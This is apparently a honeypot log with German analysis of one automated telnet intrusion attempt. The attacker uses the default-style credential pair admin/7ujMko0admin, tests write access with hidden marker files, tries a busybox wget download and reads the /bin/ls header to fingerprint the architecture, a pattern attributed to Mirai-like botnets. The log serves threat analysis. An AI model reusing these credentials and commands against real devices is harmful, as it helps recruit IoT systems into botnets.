17.10.2026, 06:07 UTC · 13 Befehle · über telnet · Volksrepublik China
user='admin' pass='7ujMko0admin' admin@srv01:~$ start bash: start: command not found admin@srv01:~$ enable bash: enable: command not found admin@srv01:~$ config terminal bash: config: command not found admin@srv01:~$ system bash: system: command not found admin@srv01:~$ linuxshell bash: linuxshell: command not found admin@srv01:~$ su su: must be run from a terminal admin@srv01:~$ shell bash: shell: command not found admin@srv01:~$ sh admin@srv01:~$ >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\x50\x42\x50\x48\x4f\x46' bash: /var/run/.x: No such file or directory PBPHOF admin@srv01:~$ /bin/busybox wget;/bin/busybox echo -ne '\x50\x42\x50\x48\x4f\x46' wget: bad address 'http://[IP]' PBPHOF admin@srv01:~$ /bin/busybox cat /bin/ls|head -n 1 ls admin@srv01:~$ /bin/busybox hexdump -e '16/1 "%c"' -n 52 /bin/ls bash: hexdump: command not found admin@srv01:~$ /bin/busybox cat /bin/ls|more ls
Der Angreifer meldete sich über Telnet mit den Standardzugangsdaten admin und einem spezifischen Passwort an. Er versuchte, durch eine Reihe von Befehlen wie start, enable und config terminal in den privilegierten Modus eines Netzwerkgeräts zu gelangen. Anschließend gab er komplexe Shell-Befehle ein, um Dateien zu erstellen, Verzeichnisse zu wechseln und Systeminformationen auszulesen.
Die ersten Befehle wie start und enable sind typisch für proprietäre Netzwerkgeräte, um administrative Rechte zu erlangen. Der Befehl su versucht, den Benutzerkontext zu wechseln, scheitert aber ohne interaktives Terminal. Die lange Zeile mit >/var/run/.x erstellt leere Dateien in verschiedenen Verzeichnissen, um Schreibrechte zu testen oder versteckte Marker zu setzen. Der Befehl /bin/busybox echo -e '\x50...' gibt eine hexadezimale Zeichenkette aus, die als PBPHOF interpretiert wird, was oft ein Platzhalter oder eine Signatur ist. Der wget-Befehl versucht, eine Datei herunterzuladen, scheitert jedoch an einer ungültigen Adresse. Die letzten Befehle lesen die ersten Bytes der Datei /bin/ls aus, um die Architektur (z.B. 32-Bit oder 64-Bit) des Systems zu bestimmen.
Das Vorgehen deutet auf die Vorbereitung eines Botnetzes oder die Installation von Schadsoftware hin, da versteckte Dateien angelegt und Binärdaten ausgelesen werden. Die Verwendung von Busybox-Befehlen und das Auslesen von Headern deuten darauf hin, dass der Angreifer die Architektur des Zielsystems identifizieren wollte, um passende Malware zu laden. Da die Befehle auf einem Standard-Linux-System scheiterten, blieb der Angriff in der Reconnaissance-Phase stecken.
Dies ist ein sehr häufiger, automatisierter Scan-Angriff, der typischerweise von Botnetzen wie Mirai oder seinen Varianten stammt. Die Kombination aus Standard-Passwörtern und architekturabhängigen Payloads ist ein Standardmuster in der IoT-Sicherheit.